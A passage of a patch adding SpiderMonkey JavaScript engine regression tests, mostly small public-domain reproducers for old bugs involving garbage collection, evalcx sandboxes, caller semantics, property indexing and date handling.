+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {
+ if (2 == 0) { } else { []; }
+} catch (e) {}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-563210.js b/js/src/tests/non262/regress/regress-563210.js
new file mode 100644
index 0000000000..d5ba6b2e7e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-563210.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Nicholas Nethercote
+ */
+
+if (typeof gczeal != 'undefined' && typeof gc != 'undefined') {
+ try
+ {
+ try {
+ __defineGetter__("x", gc)
+ } catch (e) {}
+ gczeal(1)
+ print(x)(Array(-8))
+ }
+ catch(ex)
+ {
+ }
+}
+
+// Reset gczeal.
+if (typeof gczeal !== 'undefined')
+ gczeal(0)
+
+reportCompare("no assertion failure", "no assertion failure", "bug 563210");
+
+
diff --git a/js/src/tests/non262/regress/regress-563221.js b/js/src/tests/non262/regress/regress-563221.js
new file mode 100644
index 0000000000..beb82b4993
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-563221.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+"" + eval("(function () { if (x) ; else if (y) n(); else { " + Array(10000).join("e;") + " } });");
+
+if (this.reportCompare)
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-566549.js b/js/src/tests/non262/regress/regress-566549.js
new file mode 100644
index 0000000000..3c5decd0ff
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-566549.js
@@ -0,0 +1,20 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Jesse Ruderman <jruderman@gmail.com>,
+// Gary Kwong <gary@rumblingedge.com>,
+// Jason Orendorff <jorendorff@mozilla.com>
+
+try {
+ evalcx('var p;', []);
+} catch (exc) {}
+
+try {
+ evalcx('');
+ Function("evalcx(\"var p\",[])")();
+} catch (exc) {}
+
+try {
+ evalcx('var p;');
+} catch (exc) {}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-567152.js b/js/src/tests/non262/regress/regress-567152.js
new file mode 100644
index 0000000000..02f7b2401d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-567152.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Gary Kwong <gary@rumblingedge.com>,
+// Jason Orendorff <jorendorff@mozilla.com>
+
+function c(a) {
+ this.f = function () { a; };
+}
+c(0); // set both BRANDED and GENERIC bits in global scope
+Object.defineProperty(this, "f", {configurable: true, enumerable: true, value: 3});
+
+reportCompare(0, 0, "");
diff --git a/js/src/tests/non262/regress/regress-569306.js b/js/src/tests/non262/regress/regress-569306.js
new file mode 100644
index 0000000000..2217821869
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-569306.js
@@ -0,0 +1,10 @@
+function f() {}
+var g = new Function();
+delete Function;
+function h() {}
+
+assertEq(f.__proto__, g.__proto__);
+assertEq(g.__proto__, h.__proto__);
+assertEq(false, "Function" in this);
+
+reportCompare("ok", "ok", "bug 569306");
diff --git a/js/src/tests/non262/regress/regress-57043.js b/js/src/tests/non262/regress/regress-57043.js
new file mode 100644
index 0000000000..9d7ea61688
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-57043.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 03 December 2000
+ *
+ *
+ * SUMMARY: This test arose from Bugzilla bug 57043:
+ * "Negative integers as object properties: strange behavior!"
+ *
+ * We check that object properties may be indexed by signed
+ * numeric literals, as in assignments like obj[-1] = 'Hello'
+ *
+ * NOTE: it should not matter whether we provide the literal with
+ * quotes around it or not; e.g. these should be equivalent:
+ *
+ * obj[-1] = 'Hello'
+ * obj['-1'] = 'Hello'
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 57043;
+var summary = 'Indexing object properties by signed numerical literals -'
+ var statprefix = 'Adding a property to test object with an index of ';
+var statsuffix = ', testing it now -';
+var propprefix = 'This is property ';
+var obj = new Object();
+var status = ''; var actual = ''; var expect = ''; var value = '';
+
+
+// various indices to try -
+var index =
+ [-1073741825, -1073741824, -1073741823, -5000, -507, -3, -2, -1, -0, 0, 1, 2, 3, 1073741823, 1073741824, 1073741825];
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j in index) {testProperty(index[j]);}
+}
+
+
+function testProperty(i)
+{
+ status = getStatus(i);
+
+ // try to assign a property using the given index -
+ obj[i] = value = (propprefix + i);
+
+ // try to read the property back via the index (as number) -
+ expect = value;
+ actual = obj[i];
+ reportCompare(expect, actual, status);
+
+ // try to read the property back via the index as string -
+ expect = value;
+ actual = obj[String(i)];
+ reportCompare(expect, actual, status);
+}
+
+function positive(n) { return 1 / n > 0; }
+
+function getStatus(i)
+{
+ return statprefix +
+ (positive(i) ? i : "-" + -i) +
+ statsuffix;
+}
diff --git a/js/src/tests/non262/regress/regress-571014.js b/js/src/tests/non262/regress/regress-571014.js
new file mode 100644
index 0000000000..0f8a51c4d5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-571014.js
@@ -0,0 +1,32 @@
+
+var F, o;
+
+F = function () {};
+F.prototype = new ArrayBuffer(1);
+o = new F();
+try {
+ o.byteLength;
+} catch (ex) {
+ // o is not a platform object
+ assertEq(ex instanceof TypeError, true);
+}
+
+o = {};
+o.__proto__ = new Int32Array(1);
+try {
+ o.buffer.byteLength;
+} catch (ex) {
+ // o is not a platform object
+ assertEq(ex instanceof TypeError, true);
+}
+
+F = function () {};
+F.prototype = new Int32Array(1);
+o = new F();
+try {
+ o.slice(0, 1);
+ reportFailure("Expected an exception!");
+} catch (ex) {
+}
+
+reportCompare("ok", "ok", "bug 571014");
diff --git a/js/src/tests/non262/regress/regress-573875.js b/js/src/tests/non262/regress/regress-573875.js
new file mode 100644
index 0000000000..fcfc00a9e4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-573875.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var o = {__iterator__:null, a:1, b:2, c:3}
+var expect = '__iterator__,a,b,c,';
+var actual = '';
+
+try {
+ for (var i in o)
+ actual += i + ',';
+} catch (e) {
+ actual = '' + e;
+ if (/invalid __iterator__ value/.test(actual) ||
+ /null is not a function/.test(actual)) {
+ expect = actual;
+ }
+}
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-577648-1.js b/js/src/tests/non262/regress/regress-577648-1.js
new file mode 100644
index 0000000000..d40c7b0e42
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-577648-1.js
@@ -0,0 +1,87 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var count = 0;
+
+function testCaller(obj) {
+ switch (++count) {
+ case 1:
+ case 2:
+ /*
+ * The first two times, obj is objA. The first time, we reference
+ * arguments.callee.caller before obj.go, so the caller getter must
+ * force the joined function object in the stack frame to cross the
+ * method read barrier. The second time, obj.go has been cloned and
+ * it should match the new frame's callee from the get-go.
+ */
+ assertEq(obj, objA);
+ break;
+
+ case 3: {
+ assertEq(obj, objB);
+
+ /*
+ * Store another clone of the joined function object before obj.go has
+ * been read, but after it has been invoked via objB.go(objB).
+ *
+ * In this case, arguments.callee.caller must not lie and return what
+ * is currently stored in objB.go, since that function object (objA.go)
+ * was cloned earlier, when count was 1, and it is not the function
+ * object that was truly invoked.
+ *
+ * But since the invocation of objB.go(objB) did not clone go, and the
+ * following assignment overwrote the invoked value, leaving the only
+ * reference to the joined function object for go in the stack frame's
+ * callee (argv[-2]) member, the arguments.callee.caller reference must
+ * clone a function object for the callee, store it as the callee, and
+ * return it here.
+ *
+ * It won't equal obj.go, but (implementation detail) it should have
+ * the same proto as obj.go
+ */
+ obj.go = objA.go;
+
+ let caller = arguments.callee.caller;
+ let obj_go = obj.go;
+ return caller != obj_go && caller.__proto__ == obj_go.__proto__;
+ }
+
+ case 4: {
+ assertEq(obj, objC);
+
+ let save = obj.go;
+ delete obj.go;
+ return arguments.callee.caller == save;
+ }
+
+ case 5: {
+ assertEq(obj, objD);
+
+ let read = obj.go;
+ break;
+ }
+ }
+
+ return arguments.callee.caller == obj.go;
+}
+
+function make() {
+ return {
+ go: function(obj) {
+ return testCaller(obj);
+ }
+ };
+}
+
+var objA = make(),
+ objB = make(),
+ objC = make(),
+ objD = make();
+
+reportCompare(true, objA.go(objA), "1");
+reportCompare(true, objA.go(objA), "2");
+reportCompare(true, objB.go(objB), "3");
+reportCompare(true, objC.go(objC), "4");
+reportCompare(true, objD.go(objD), "5");
diff --git a/js/src/tests/non262/regress/regress-577648-2.js b/js/src/tests/non262/regress/regress-577648-2.js
new file mode 100644
index 0000000000..d9ba913163
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-577648-2.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+var o = { f: function() { return o.g(); }, g: function() { return arguments.callee.caller; } };
+var c = o.f();
+var i = 'f';
+var d = o[i]();
+
+reportCompare(true, c === o.f && d === o.f(), "");
diff --git a/js/src/tests/non262/regress/regress-580544.js b/js/src/tests/non262/regress/regress-580544.js
new file mode 100644
index 0000000000..f6e57e4fa6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-580544.js
@@ -0,0 +1,27 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'regress-580544.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 580544;
+var summary = 'Do not assert: new (this.prototype = this)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try {
+ new (this.prototype = this);
+ } catch (e) {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-58116.js b/js/src/tests/non262/regress/regress-58116.js
new file mode 100644
index 0000000000..2352b56449
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-58116.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(this.hasOwnProperty("Intl")) -- Requires inaccurate historic time zone data.
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 58116;
+var summary = 'Compute Daylight savings time correctly regardless of year';
+var actual = '';
+var expect = '';
+var status;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = (new Date(2005, 7, 1).getTimezoneOffset());
+
+status = summary + ' ' + inSection(1) + ' 1970-07-1 ';
+actual = (new Date(1970, 7, 1).getTimezoneOffset());
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' 1965-07-1 ';
+actual = (new Date(1965, 7, 1).getTimezoneOffset());
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' 0000-07-1 ';
+actual = (new Date(0, 7, 1).getTimezoneOffset());
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-583429.js b/js/src/tests/non262/regress/regress-583429.js
new file mode 100644
index 0000000000..67e1b41959
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-583429.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Andreas Gal <gal@uci.edu>
+
+assertEq(Object.getOwnPropertyNames(Array.prototype).indexOf("length") >= 0, true);
+
+reportCompare("ok", "ok", "bug 583429");
diff --git a/js/src/tests/non262/regress/regress-584355.js b/js/src/tests/non262/regress/regress-584355.js
new file mode 100644
index 0000000000..7d1b81a2ec
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-584355.js
@@ -0,0 +1,7 @@
+var actual;
+var expect = "function f () { ff (); }";
+function fun() {
+ (new Function ("function ff () { actual = '' + ff. caller; } function f () { ff (); } f ();")) ();
+}
+fun();
+reportCompare(expect, actual, "");
diff --git a/js/src/tests/non262/regress/regress-585257.js b/js/src/tests/non262/regress/regress-585257.js
new file mode 100644
index 0000000000..160c310833
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-585257.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(!xulRuntime.shell) -- requires evalcx
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>
+
+Object.create(evalcx('')).__defineSetter__('toString', function(){});
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-586482-1.js b/js/src/tests/non262/regress/regress-586482-1.js
new file mode 100644
index 0000000000..1cab74a3fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-586482-1.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (caller === me['doThing']);
+ actual = callerIsMethod;
+};
+
+var MyObj = function() {
+};
+
+MyObj.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+(new MyObj()).doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-586482-2.js b/js/src/tests/non262/regress/regress-586482-2.js
new file mode 100644
index 0000000000..7eb44d0202
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-586482-2.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (caller === me['doThing']);
+ actual = callerIsMethod;
+};
+
+Object.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+["dense"].doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-586482-3.js b/js/src/tests/non262/regress/regress-586482-3.js
new file mode 100644
index 0000000000..92e9d5c845
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-586482-3.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var f = me['doThing'];
+ delete MyObj.prototype['doThing'];
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (f === caller);
+ actual = callerIsMethod;
+};
+
+var MyObj = function() {
+};
+
+MyObj.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+(new MyObj()).doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-586482-4.js b/js/src/tests/non262/regress/regress-586482-4.js
new file mode 100644
index 0000000000..34352bfe7d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-586482-4.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
